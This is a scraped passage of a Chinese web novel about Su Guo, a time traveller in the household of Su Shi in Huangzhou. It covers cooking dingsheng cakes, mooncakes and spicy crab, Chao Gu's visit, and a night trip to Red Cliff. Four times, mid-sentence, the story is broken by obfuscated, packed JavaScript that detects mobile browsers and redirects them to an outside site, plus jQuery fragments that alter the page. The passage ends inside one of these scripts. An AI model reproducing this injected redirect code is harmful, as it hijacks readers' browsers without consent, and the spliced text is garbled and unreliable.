苏过听到这熟悉的诗句倒是一愣。 反被聪明误一生，苏轼对自己的境遇还是看的十分通透。 他这一生，才高八斗，仕途却并不算顺利。前期的各种耽误不提，被贬黄州，老苏自己又何尝做错过什么。 用苏三叔的话说，“东坡何罪？独以名太高。” 这就是一场对文坛明星的围剿。 上至高官，下至小丑，都来“共襄盛举”，连以为的朋友也会背后插刀。 神宗不喜欢苏轼么？没有，他超爱，但也担心舆论对自己权威的挑战。 被关在监牢中时，苏过以为苏轼只是遭遇一些心理上的煎熬，并无大碍。 后来听闻另一个文人诗作，“遥怜北户吴兴守,诟辱通宵不忍闻。“才知道老苏经历了些什么。 在黄州这几年，新老朋友无数，每月各种信件往来，许多人慕名来拜访，也有许多曾经的好友，连写去的信都不敢回复，生怕被牵连。 老苏的心路历程在诗作中展露无疑，也曾短暂低沉，纵情山水超脱世外。 但当徐知州安排事情下来，但凡有利于百姓的，都是撸起袖子加油干。 当然，也会适当摸鱼，工作休闲两不误。 苏过相信，哪怕是打压他的神宗，有一天回心转意委以重任，老苏也会开开心心赴任，认认真真干活。 老苏经历过这些都能做到，他又何必瞻前顾后，为还没发生的事情而裹足不前呢。 现在蝴蝶翅膀已经在挥动了，那给史书撬个大口子，重新写一写，应该也不会特别难吧？ 更何况他还是个孩子呢，虽然不像他爹有那么多好友可以一起努力，但他也有二哥，有狄云，以后也会有更多的朋友的。（应该吧？大i人有点担心。） 没关系，大不了，让老苏顶在前面，他还有好多年可以奋斗呢。 打定主意，苏过对亲爹说道，“又愚又鲁还能到公卿，那只能拼爹了。为了这个愿景，爹你要加油啊，我等着当一个富贵衙内！” 刚说完就被苏轼敲了个暴栗，“没出息！” 苏过吐吐舌头，放下装模作样的纸笔，准备出去溜达溜达了，徐徐图之。就算目标是大展宏图，咱们也要循序渐进不是。 见儿子恢复了斗志，苏轼也放下心来。 只是没想到，苏过本来只是随便一想的事情，竟然真的似乎要实现了。 神宗不知是不是被西夏战事打击过大，终于把目光投向国内民生。又想起了老苏和黄州之前搞出来的试点。 突然下旨，任苏轼为黄州判官，负责协助知州徐大受处理全州政务，将之前的试点政策整理落实下来，争取搞成黄州经验，好推广到其它地方。 之前苏轼虽然也有干活，但都是越级在办事来着。 这道旨意下来，老苏就完全名符其实，以后做出的所有政绩都是切切实实的了。 这简直是个再明显不过的信号。 苏过还特意看了看太阳是不是打西边出来了，毕竟这才元丰五年。根据史料，元丰七年神宗才想起老苏的好，让他去条件稍微好点的汝州继续当团练副使来着。 结果现在不但给他早早免了罪，如今更是直接给实缺了。 品级是稍微低了些，但有了实缺能没有政绩么？有了政绩能没有升职么？ 现在是黄州的判官，来日就是汴京的长官了。 苏过感觉前途一下子光明起来，美滋滋，准备给亲爹做点好兆头的食物。 这种庆祝时刻，当然要做定胜糕啦。 将梗米粉与糯米粉混合，放入白糖与食用红色素。 趁着发酵，开始准备馅儿料。 一般是用豆沙馅儿来着，但临时起意，豆子还没泡，换成糖板油丁好了。 用糖腌制好猪板油丁，裹进米粉里，捏成银锭形状。 本来做定胜糕是需要用模具来着，那样造型更标准，糕面上还会有“定胜”二字。 但这种特殊工具苏过就没有了。 不过定胜糕本就源于“锭胜”，做成银锭形状就行，这点手艺苏过还是有的。 等糕点蒸好出锅，苏过盛在盘子里准备去端给老爹。 却见苏轼那里又多了两个客人。 倒不是什么生人，其中一个正是好久不见的秦观，旁边的，是老苏的另一个学生，苏辙二女婿王适。 说来也巧，这两人都是今年回老家考乡试。 结果刚进门就听到苏轼问两人乡试成绩。 一个都没中。 端着定胜糕的苏过一下子就有点尴尬了。只能强作镇定送上点心，也不说寓意，只让两人好好补充下远途奔波的体力。 结果苏轼偏偏好奇发问，“这糕点看着挺喜庆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623488|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，叫什么名字？” 苏过弱弱回答，“定胜糕。” 不过转念一想，干嘛尴尬呢，多好的寓意呀，劝秦观二人赶快多吃一点，“定胜糕，多吃一些，下一次肯定就过了。” “承过哥儿吉言。”秦观吃掉两个，向苏过道谢。毕竟他也不是第一次乡试落榜了，心理承受能力总归有些提升的，还不至于这么敏感。 王适更是被老苏认证过的跟苏三叔一样稳重，自然也不会为一时得失过分纠结。 两人接受了苏过的好意，多吃一点定胜糕，下次再战。 苏轼现在升了职，平日里愈发忙碌，徐知州本来就是很喜欢放权的一个人，又看好老苏，现在名正言顺了，更是直接委以重任，将许多事情都交给苏轼安排。 两个学生来的正好，考场失利不要紧，实习经历磨练磨练，以后写策论才能言之有物。 王适待不了几天就要带着二堂姐去筠州继续照顾苏三叔。 倒是秦观，反正也没事儿，就多待一待呗，干干活儿，有事弟子服其劳，没毛病。 于是接下来的日子里，秦观每日跟着老苏东奔西走，不但连公务要帮着处理，就连种地都有他的份儿。 没办法，之前黄州发了洪灾，事后大家各种拼命挽救庄稼，又进行了补种，如今到秋收的季节，虽然不如去年那般丰收，但抠抠搜搜还是能把今年好好过下去的。 幸好黄州靠着长江，湖泊也多，靠山吃山，靠水吃水，湖里抓抓鱼，捞点虾，也能填补些口粮，整体算不上太差。 只能说福祸相依，洪灾和物产都是大自然的赏赐，人力只能尽量适应与影响。 听说老苏已经在研究如何兴修水利，搭建河堤，将这边洪涝的灾害降到最低了。 不过粮食虽然减产，农活儿还是一点没少的。 洪灾后地力流失严重，如今不仅要忙着秋收，秋收后还要好好堆肥，养一养土地。 事情可多呢。 秦观跟着苏轼经常下乡宣传与检查，时不时就帮农户们收收粮食耕耕地，很是辛苦，还没多久，秦观就从白面书生变成北宋古天乐了。 苏过见天儿的准备各种饭菜小食给两人补一补，还是没拦住老苏又在变瘦。 不过有天苏过捏了捏，苏轼的胳膊什么的还是很结实的，看来下地干活也算锻炼，没有太差。 放下心来的苏过开始准备即将到来的中秋节。 也许是刚经历了一场天灾，更加珍惜每一个可以庆祝的日子。苏过为了中秋节可以说是准备充分。 特地找人在院子里搭了一个简易烤炉，又托木匠做了几个月饼模具。 这次中秋，苏过准备撩起袖子做上许多月饼。 甜的就做广式，咸的就做苏式，再来个好看又好吃的冰皮月饼。 也不怕做多，除了自家吃、送好友外，中秋节连府衙都是放假的，晚上还会有夜市，苏过准备拉着亲爹去摆摊送月饼。 毕竟这种高油高糖的点心，就算方子公布出去大家估计也不会做。就直接成品送给大家吧。 难得节日，让我们来搞点花样吧。 44. 第 44 章 广式月饼做好后要放置两三天，待饼皮回油后再食用口感最好。苏过提前就带着钟婶等人做好了，已经进入最佳赏味期。 中秋当天一大早，苏过就开始动员全家一起做月饼，还有苏式月饼和冰皮月饼要做呢。这种团圆的日子，当然一家人都要整整齐齐啦。 皮和馅料苏过都已经备好了，大家包好就可以，苏过会亲自盯着火候烤制。形状不标准也关系，重在参与。 冰皮月饼倒不用烤制，本身冰皮就是用糯米粉、粘米粉和小麦淀粉加上牛奶与糖蒸制而成，包好后直接就可以吃了。 当然最好是再冷藏一个时辰，咱们虽然没有冰箱，但有绵竹道士呀，搞个硝石制冰还是很简单的。 一边冷藏着，这边第一批苏式月饼也烤好了。 老苏已经等不及要尝一下跟他同名的月饼了。 虽然大家包的形状各异，但酥皮是苏过和钟婶亲手做的，这也就保证了成品味道差不到哪儿去。 一种白糖芝麻馅儿，一种鲜肉馅儿。 刚出锅的时候是最酥脆的，苏轼向来不怕烫，稍微吹了吹就往嘴里放，一口咬下去，酥的掉渣。 他拿的是白糖馅儿的，这会儿刚出锅，糖汁还是液体，烫的厉害，一下子把老苏的舌头烫了彻底，只能赶忙去拿冰冷敷一下，幸好正在冷藏冰皮月饼，冰块什么的都是现成的。 被烫到的老苏一下子老实下来，不敢再碰刚出炉的月饼，转而去尝早做好的广式月饼。 等一切搞定，大家也开始品尝劳动成果。 月饼肯定是要一边赏月一边吃更适合，但苏过安排了去夜市摆摊的活动。大家略填了填肚子就出发了。 等摆摊完毕再回来一起赏月吃月饼。 中秋在北宋已经是一个全民狂欢的节日，官府放假一天，百姓们也会放下平日里的劳作，富贵人家装饰房屋修高台，普通百姓也会去酒楼或别的高处占个位置，就为了更好的赏月。 在赏月前后，大家还会去夜市好好逛一逛。 摊贩们售卖各种小吃零食，精美饰品以及花灯。 这会儿虽然还没有月饼，但大家会做一种叫“小饼”的糕点，形如圆月，裹上酥油和麦芽糖做的馅料，可以说是古早版的月饼了。 还有桂花糕在这会儿也是热门食物，蟾宫折桂，十分应景。 夜市上十分热闹，大家也都很乐于在这一天好好玩乐，一扫最近几个月的颓丧与忙碌。 但最热闹的，还是西市一头一尾的两个抽奖摊位。 摊位看起来平平无奇，像是卖果子的摊位，摆着好多种点心，而且样子比较稀奇。 但放在最前面的是一个超大的箱子，也不售卖，每个路过的人都可以伸进箱子里抓一个纸团，上面写着各种吉祥话，若是抽中“月饼”两个字的纸团，就可以免费领一个叫“月饼”的点心。 其中一个摊子的摊主，竟然是东坡居士！ 这可是黄州名人，大家的偶像，于是不管什么月饼不月饼的，口口相传，都愿意来这边抽个吉祥话，再看一看东坡居士。 本来苏过特意将家人们分为两个摊位，就是想分散客流的。 结果大家都想来苏轼的摊子上抽奖，倒弄的这边水泄不通。 幸好苏过早就预料到这种情况，早早跟府衙报备过，有安排一些衙役来这边维持秩序，毕竟之前立春送春牛时已经见证过了。 整体场面还在可控状态。 而且大家见偶像的热情过了后，有抽到月饼的百姓尝了下手里的点心，又是另一种惊喜了。 月饼种类有许多，抽中月饼的人，苏过都是让大家自己选择要哪一种的。但大家也没有吃过这种东西，于是只能根据描述，甜咸还有口感来选择喜欢的口味。 广式月饼已经回油到最好的状态，一口咬下去油润柔软，裹着甜甜的豆沙馅儿，十分美味。还有的一口咬下去，里面竟然有半个咸蛋黄，很好的中和了饼皮的油腻，又是另一种惊喜了。 喜欢酥脆口感选了苏式月饼的，因为苏过油酥调的好，而且送过来前一直有在保温，保持着酥脆的状态。一口咬下去还能掉渣，里面糖汁已经处于半凝结状态，让平日里少能吃到糖的百姓们十分惊喜。还有鲜肉月饼，这真是过年才能有的待遇。 另外一款冰皮月饼就看起来十分精致了，吃起来冰凉又软糯，口感十分不错。 大家选到不同月饼的，都在互相交流味道口感，很遗憾不能每样尝一个。 可惜每人只能抽一次，有那浑水摸鱼想要再次排队抽奖的，都会被火眼金睛的苏家小郎认出来。 有钱又嘴馋的，就会找那运气好抽到的人买来尝一尝，那又是另外一回事了。 不得不说，这个活动还是让大家觉得又有趣又实惠的。 一开始苏过还想做成套圈形式来着，更加有互动好玩，但经老苏提醒，这种叫关扑，是官府禁止的赌博类活动来着，只有每年元旦、寒食节和冬至才能在指定地点开放。 虽然苏过没准备收钱，但毕竟玩法类似，苏轼又作为公众人物，还是不要踩这种灰色地带比较好。 借着老苏的人气，摊子上的月饼很快被抽完。几人又去另一处苏大哥和苏二哥的摊位上帮忙主持完整个活动。一家人收摊，准备回家赏月，过中秋。 家里人自己吃的月饼是早就留出来的，甚至为了保证口感，苏式月饼还是刚烤出不久的一批。 出门前，苏过让钟婶算着时间将螃蟹蒸上，待众人回家后，便可以一边赏月一边吃蟹，连平日里在店里忙碌的王朝云都回家一起赏月，可以说十分团圆了。 中秋左右的螃蟹正是肥美的时候，尤其是母蟹，蟹黄饱满，肉质细腻。 配上姜末与陈醋，将螃蟹慢慢剥开，一点点拆出蟹肉，可以说是又有意思又好吃。 苏轼是出了名的螃蟹爱好者，还曾经写出“不到庐山辜负目，不食螃蟹辜负腹。”这种话，简直是吃货本货。 不止老苏爱吃螃蟹，北宋的文人士大夫都爱吃，还经常把螃蟹吃出了花。 仁宗小的时候就十分喜欢螃蟹，还吃过量，都头晕便秘了。刘太后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627010|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下令严禁仁宗食用虾蟹，结果抚养仁宗长大的杨太后心疼孩子，经常偷偷藏螃蟹给他吃。 连管家都如此，下面的文人士大夫就更不用说了。 老苏兴致勃勃的在那儿列举各种螃蟹吃法，苏过表示这些文人就喜欢瞎折腾。 螃蟹最好吃的就是清蒸，另一个就是香辣蟹了。老苏听说还有这种做法，忙要让苏过做来吃，无法，只得答应等明日给老苏做。 众人一边吃着螃蟹，一边喝点蜜酒，还有月饼佐食，苏轼感叹简直是再美好不过的日子了。 只可惜虽能千里共婵娟，但还是有许多亲朋好友散落天涯无法相聚，实在是憾事，很值得再吃一只螃蟹。 大家吃喝赏月到深夜才去休息。 第二日，牛马老苏还要继续早起去上班，顺便带上了实习生秦观。其他人倒是美美睡到了自然醒。 苏过嘱咐钟婶去市场再挑些新鲜螃蟹，答应了今晚给老苏做香辣蟹，然后就准备溜达到书房去学习学习。 毕竟总不能真的等着亲爹升官发财当衙内，之前纠结那么久下定了决心，不能卡在第一步科举上。 不积跬步，怎么当大官。虽然最近苏轼比较忙，无法盯紧他的课业，但他也是很自觉的好么，自律，多么优秀的品德。 结果刚给新文开了个头，就听说又有老苏的好友来拜访了。 这种时候，一般都是苏大哥代为接待。不过老苏的好友大多都是名士，还是很值得一观的。苏过放下笔就准备去前院看看。文章可以改日再写，热闹还是要第一时间看。 刚到前院，就见到大哥面前坐着一位型男。 这位是真的一眼就是侠客。之前的陈季常等人，虽然好为游侠，但都偏书生气，常年养尊处优，侠气并不明显。 但这位客人，身型敦厚，面容坚毅，更重要的，是气质，就是那种一眼就值得信任，侠气满满那种。 苏过敲门进去，打了声招呼，星星眼坐下，“不知这位伯父是？” 苏大哥连忙介绍，“这位是父亲的挚友，巢伯伯。” 啊，来了来了。果然是他。 苏过记得老苏有一个特别仗义的朋友，就姓巢，叫巢谷，仗义到什么程度呢。 巢谷认识了一个武官叫韩存宝，去川南镇压蛮族暴乱，他不但免费给人家当私人顾问，在韩存宝不听劝阻作战失利，被朝廷问罪处斩时，毅然帮韩存宝带剩余的几百两银子回去给他妻子。换装改名，赶了上千里的路，将银子如数交给了韩存宝的妻子。 之后为了避祸，巢谷藏匿行踪，隐居了好些年。 之前老苏做官还比较发达的时候，巢谷作为苏轼的发小，除了日常写信外都不太来往。 结果老苏被贬到黄州，给他写了封信，说很想念家乡的野豌豆菜，想让帮忙寄一些种子过来。 巢谷竟然亲自带过来了！ 野菜种子！相距千里，亲自这么远送来！ 如果这都不算爱，那苏过简直不知道说什么了。 以及老苏，为了口吃的，至于么？ 45. 第 45 章 巢谷给苏轼带野豌豆种子，估计还是专门回了趟眉州。毕竟这东西，别的地方也难找到。 难怪这种菜以后会被称为“元修菜”（巢谷字元修），这种情谊必然值得纪念。 巢谷比苏轼要大十一岁，但他们可是真发小。小时候在乡学就是同学，和苏三叔关系也很要好。 后来苏三叔还写了个《巢谷传》，讲他在两人接连被贬时，步行万里去见苏辙，然后又准备继续走上千里去海南看苏轼。那会儿都七十多岁了，身上只有数千钱。还是靠苏三叔帮忙凑了点路费，结果还没到海南就病死了。 这种侠义和情义，苏过简直不知道怎么表示钦佩才好。 别看巢谷一副武夫样子，是真的文武双全。虽然还未考中进士，但学识谋略，一样不缺。之前旁观了一下武举考试，就准备弃文从武，骑马射术很快学到精通，是真的文武兼修之才。不然韩宝存也不会叫他去当顾问。 更重要的，这位是他老师啊！ 根据记载，老苏很钦佩巢谷的学识和为人，会让巢谷教两个儿子来着。 见到老师的苏过十分兴奋，很想立马去抓老苏回来，问什么时候开始教学。 除了学文，他要连武艺一起学掉。 想想就很兴奋！ 但是老苏还未归家，说不好在哪个地方干活儿呢，也不好这会儿去找他。 于是自觉应该要好好照顾老师的苏过一下子殷勤起来。 “巢伯伯，你一路奔波是不是饿了，我去给你拿些点心。”说完不等巢谷回应便跑去厨房。 现做的太麻烦，也不知道老师口味。正好昨天做的月饼还有，可以拿来待客。顺便嘱咐钟婶多准备点螃蟹，晚上要招待客人。老师也是眉州人，肯定会喜欢香辣蟹。 巢谷对月饼很是喜欢，就连搭配的奶茶都赞不绝口，果然甜口的受众是很广，就是跟老师硬汉的形象不搭。 苏过对巢谷这些年的经历很是感兴趣，各种追问巢谷隐居的细节，两人聊的很是开心，倒是省了苏大哥招待的功夫。 难得小孩子对自己这么热情，巢谷也很敞亮的分享自己各种轶事。毕竟这几年他虽然隐居，但各地游走还是见识过许多的。 聊着聊着，苏轼也下衙回来了。 知道发小到来，十分开心。昨天还在感慨这些好朋友好久不见，没想到今天就重逢了一个，还是这么多年没见的巢谷。 听说巢谷亲自送了野豌豆来，苏轼喜的不知如何是好。立马说要赶紧把野豌豆种下，趁着最近气候合适，长个四五十天就能收获了，到时候嫩嫩的豌豆尖掐下来，随便煮一煮都很好吃。 说完就拉着巢谷要去后院种菜。 不愧是发小，巢谷很能适应苏轼这种性子，陪他种地去了。 见时间不早，苏过也准备去厨房做答应老苏的香辣蟹。 等苏轼和巢谷将种子洒完，又顺便听了一些苏轼耕种东坡的事迹。这会儿地里还种了许多辣椒，老苏重点安利了这种好吃的调料。 刚说完，苏轼就仿佛闻到了一阵辣椒的香味。 “一定是过哥儿的香辣蟹做好了，我们快回去吃饭吧。”苏轼说道。 两人回到前院，果然可以吃饭了。 螃蟹被切成了一块一块，跟一堆配菜混在一起炒制，看起来实在不太符合文人雅士们吃螃蟹还要用蟹八件的讲究。 尤其是听苏过说直接夹起来咬着吃，那肯定要弄的满嘴满手的油，十分不雅。 但整盆菜香辣可口，蟹膏裹着红油，一看就十分入味。 已经吃过许多香辣菜色的苏轼经验丰富，这个卖相的菜一定很好吃。 于是也顾不得什么雅不雅，先吃起来吧。反正都是熟人，也不用瞎讲究。 担心未来老师第一次吃辣椒不习惯，苏过还特地准备了牛乳解辣。没想到巢谷不愧是眉山老乡，第一次吃就接受良好。 今晚主要是吃香辣蟹，苏过做了满满一大盆，散乱的蟹身配着蟹腿钳子，大家自己随意夹取，辣椒配着芝麻的香味，每一块都十分美味，用筷子吃不方便，还可以用手直接拿着吃，更加方便拆蟹。 除了螃蟹，里面还加了许多配菜。近来新鲜采摘的莲藕，苏过之前做好的腐竹豆皮，就连白菜心炒在里面都很好吃。 大家将螃蟹吃完，再用配菜下饭，一个个吃的满嘴都是油又十分满足。 饭后送上一碗甜汤，很好的解了辣又回味无穷。 苏轼立马就安排说要趁着这段时间多吃几次香辣蟹。 “除了螃蟹，还有香辣虾、香辣排骨、香辣鸡爪，各种菜都能做成麻辣香锅呢。”苏过细数到。 “这辣椒真是神奇，做的菜竟然这般好吃。”巢谷也感慨。 老苏见好友喜欢，更是高兴，“那是自然，还有好多菜色呢，过哥儿厨艺不错，接下来让他给你露几手。” 苏过自然不会拒绝这种跟老师处好关系的机会，连忙应下。 倒是让巢谷有些不好意思，“过哥儿年纪这般小，还是不要累到了。” 苏过连忙点头，“不会不会，我喜欢做菜呢，而且大多都是钟婶帮忙，不费太多功夫。” 听罢巢谷才放下心来。 不得不说这位真是热心人儿，听说发小老苏最近忙着帮百姓收庄稼，二话不说，隔日就跟着老苏出门去下田种地了。 每天早出晚归的，倒让苏过很是诧异。 不是，我那么大一个老师呢？怎么就变成老苏的助理二号了。 合着还是得自习呢。 但无论如何，答应了大家的美食还是要继续做的，于是苏家连续吃了小半个月的香锅系列，十分满足加追秋膘成功。 只是不知道是体质原因还是老苏过分贪嘴，一下子痔疾又冒头了。 家里的几位医生都劝他这段时间不要继续碰辛辣之物，搞得苏轼略有郁闷。 不过这可难不倒苏过。 天下菜系何其大，没有香辣蟹我们还有许许多多的做法，比如蟹酿橙。 将甜橙从顶部切开，挖出果肉。橙子肉和蟹肉经过炒制，倒回橙盅里面蒸制， 这道菜将橙子的酸甜清香与螃蟹的鲜美醇厚巧妙融合，风味独特还造型有趣。 揭开盖子，蟹肉混合着果肉，看着好看，味道又好。 苏轼吃了这道菜，连香辣蟹吃不到的郁闷都消散许多。 “这道菜倒是精致，口味独特，甚是有趣。”老苏称赞道。 那当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635283|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，蟹酿橙做起来很费功夫呢。 苏过做这么复杂的菜可还有小心思。 “那当然，做这么一道菜要好几个时辰呢，要不是最近书都看完了，还没时间做这道菜呢。”苏过假装不经意说道。 苏轼果然一下子被转移了注意力，“之前列的书单都看完了么？” “都看完啦，功课也基本完成了，最近可闲了。”苏过摊摊手。 果然自己最近太忙，都没怎么顾上儿子们的学业了。看来还是得给他们找个老师，好平日里也多学一些。 苏轼开始考虑，是不是给孩子找个老师。 不过找老师也不容易，人品学识都要优秀，还需要跟他的教育理念符合，毕竟他也不想以后教孩子时还冒出一些合不上的观念。 苏轼都开始在脑海里筛选合适人选了，突然想起来。不对呀，过哥儿什么时候对学习这么热衷了。 “既然学有余力，那就自己好好安排课余时间吧。”苏轼故作轻松说道。 苏过听了一下子过来抱住老苏，“那我想学武可以么？” 听到这里苏轼才明白过来，“那你想跟谁学呢？” “巢叔叔就挺好的，可以跟他学么？”苏过星星眼。 原来如此，“元修文武双全，教你自然不在话下。”苏轼搞清楚儿子的动机后就不慌不忙了，“只是元修行走江湖多年，不知肯不肯在黄州久留，做你老师。” 老苏这意思就是答应了，苏过十分兴奋，“巢叔叔隐姓埋名这么多年，肯定吃了不少苦。怎么也的让他在这儿住上几年修养身体，当我老师自然合适了。”另外没说的是，作为一个老苏提到思念家乡菜就立马亲自送来种子的发小，老苏要是开口挽留让他给儿子做老师，巢谷肯定不会拒绝的。 果不其然，巢谷很开心的接受了这个提议。 他和苏轼关系好是一方面，另外苏家的两个小公子都十分聪慧，尤其是苏家小郎，性子和他十分投契，能教授他俩，巢谷哪有不愿意的。 于是巢谷在苏家也长住了下来，苏家两兄弟正式拜了师，主要教授经义。此外苏过还跟巢谷学习武艺。也算是和他二哥一样，多了个第二专业。 苏过习武是抱着十分的兴趣的。结果一开始巢谷就让他蹲马步。弄的苏过是腰腿酸软，几乎无法行走。 “你的体力和耐力都不行，这个年纪学武要好好打基础，别的招式才能融会贯通。”巢谷向苏过解释。他还没教过这么小的孩子学武，很是担心自己处理方式有问题。还好家里的两位医生都说没什么问题，休息两天就好。 小孩子的身体恢复还是挺快的。苏过没多久就又活蹦乱跳了。于是继续跟着巢谷练习。 这日晚餐后，苏过正在院子里散步缓解运动后的疲劳，却见老苏突然找王氏要了家里珍藏许久的酒，还带着绵竹道士准备出门。 这个时辰还出去，一看就是准备夜不归宿。 “爹你们要去哪儿呀。”苏过问老苏。 “之前去过的，赤鼻矶，我们准备再去一次。”苏轼回答儿子。 赤鼻矶？等等，时间怎么过的这么快，就到十月了。 这个地方，这个时间。 这是《后赤壁赋》的诞生之夜啊！ 46. 第 46 章 他们竟然又是去赤鼻矶！ 苏过用控诉的眼神看着苏轼。 之前老苏跟绵竹道士出去玩的时候，苏过没怎么特别关注，结果硬生生错过了名篇的诞生。 老苏答应再去的时候会叫上苏过来着，结果你看看，竟然带上酒就准备走了，根本没想起来叫他。要不是多问了一句，这不就又错过了！ 欺骗孩子是不对的！ “上次说好叫我的，爹你说话不算话！”苏过对老爹发出谴责。 苏轼想了想好像是有这么回事，但心虚是不可能心虚的，“那不是临时计划么，你潘叔钓到一条长得像松江鲈鱼的鳜鱼，邀请我们去野炊呢。” 潘叔？又什么时候交的新朋友。 不对，这个不是重点，为什么去野炊就可以忘了他。 “人而无信，不知其可也。堂堂东坡居士竟然连言而有信都做不到！” 苏轼没办法，只得搬出大人的万能借口，“我们是有可能要在外面过夜的，你一个小孩子，不安全。” “好吧，本来想说最近刚发现一种很好吃的烤鱼做法，正好可以实践下，既然爹你这么为我考虑，那就算了吧。”苏过假意准备回房，放弃出门。 苏轼拉住他，“你也快十二岁了，应该体验下生活，去带点厚衣服一起去吧。” 哦耶，果然制服吃货还是要靠美食。 苏过连忙回房间套上厚衣服和斗篷，晚上的江边还是很冷的。 再去厨房拿上他秘制的烧烤酱，跟着亲爹一起出了门。 另一位友人潘大临正提着鱼在等他们，这位新朋友十分年轻，看来又是被老苏才华吸引的另一位迷弟。 见苏轼带着儿子，也没说什么，毕竟苏过在黄州也算是小有名气，提起来谁都要称一句那个聪慧的苏家小郎。 十几岁的年纪，也适合跟大人一起出门体验交际了。 几人找了条小船往赤壁划去，如今已到枯水期，江面水位降了不少，露出许多礁石还有江岸。 苏轼看的直感慨说景色果然一季一换，已经很不一样了。 苏过也十分好奇的打量这个十分出名的地方。不得不说，险峻有余，优美不足，如果要他来写的话，可能就是些志怪聊斋了。果然老苏这个浪漫派才是最具有幻想力的人。 嗯？不对，亲爹呢。 才感慨一会儿苏轼竟然不见了。 见苏过疑惑，绵竹道士给他指了指方向，只见这么一会儿，苏轼竟然爬到了悬崖上面。 要知道这些山岩十分险峻，又很尖利，到处都是野草和枯树枝。在这种地方攀岩十分危险，一个不小心摔落可不是开玩笑的。 但老苏自己倒不怕，还在高处大声向下面的朋友们炫耀，“这里有个猛禽的窝。” 苏过简直要扶额了，那么高的地方，有猛禽的窝，你猜会不会有猛禽呢？万一被发现了啄一口，又那么高。 苏过觉得简直角色颠倒自己变成了那个操心的老父亲。难怪之前老苏一直不让他跟着，就这作死程度，回去跟王氏告状，一告一个准。 自娱自乐了一会儿，老苏终于下来，“上面回音很重，倒显得有点阴森可怕了。” “这么高的地方，爹你竟然还爬上去！”苏过冲到亲爹面前，拉着他手检查有没有划伤。 老苏倒不以为意，“这么点高度算什么，再年轻十岁，我能爬到顶上去。” 被风吹了一会儿倒是有点冷，几人便去捡了干柴准备生火取暖，顺便烤鱼。 很快，篝火的温度驱散了江风的寒冷，苏过将鱼处理好，抹上油准备烤制。中途加上带来的烧烤酱，酱汁顺着切开的刀口浸入鱼肉，很快便散发出香味。 几人都是吃过晚饭才出来的，但不知是不是刚刚运动了一会儿，竟觉得饿了起来。 等鱼烤好，一人分了一大块吃起来。鱼皮的焦香与已经十分入味的香辣酱汁混合在一起。大家吃的十分满足。 “可惜没有带渔具，不然可以现场再钓两条来烤。”苏轼还有点意犹未尽。 不过也算不上大问题，毕竟他们是主要出来玩的，也不算很饿，只是嘴馋。 “下次在家里也可以做烧烤咯，荤素都可以烤制。”苏过提议。 老苏连忙应下，“很好，很好。” 将火堆熄灭，几人继续上船。 也没有什么目的地，就任凭小船随江水飘荡。三个大人饮酒聊天，苏过躺在船头，一边是几人聊天的声音，头顶是明亮的圆月，零星散落还有几颗星星，倒一下子让苏过有种时空的错乱感。 今日星辰发出的光芒，可能也照在过千年后的他自己身上吧。 在各种放空与胡思乱想中，苏过慢慢睡着了。 待再次醒来，已是半夜，小船已经靠岸。 “醒啦？正好，我们回家吧。”苏轼收起披在儿子身上的斗篷，看他迷迷瞪瞪的醒过来，准备带他回家。 “你们已经游玩结束了么？”苏过感觉还有一点困困的，他的赤壁行就这么结束了么。 “当然，都半夜啦。”苏轼一边拉着儿子下船，一边回道。得赶紧回家，深夜的江边越发冷了。 无法，苏过只得跟着老爹回去，时间太晚，大家各自回房休息。 第二天一大早苏过就去找老苏，"爹你有新文章么？" 苏轼放下刚写完字的笔，“你怎么知道有的。” “当然是猜的啦，你们出去玩不是经常写游记么。”苏过凑到老苏身边一看，果然是熟悉的味道。虽然昨天自己后面睡着了，但也算是名地点打卡过的人了，心满意足。 至于中途睡着什么的，小孩子觉多不是正常的事么。 见儿子看完就准备溜走，苏轼拉住他，“你既然知道出去玩经常有游记，那你的游记呢？” 苏过指着自己，“我只是陪玩的，哪需要写游记。” 苏轼可不放过他，这孩子成天就知道凑热闹，最近忙着习武，写文章都惫懒许多，这可不行。 “你也交一篇游记上来吧，不然以后再也不带你出去了。” 过分！ 出去玩还布置作业。 但知道亲爹肯定说到做到，苏过只能领了任务。 不就是又一篇作文么，不是大问题。 让老苏记得旬休时邀请他的好友们过来烧烤，苏过回房间自行去构思了。 他要写一篇别开生面的文章，惊艳下老苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 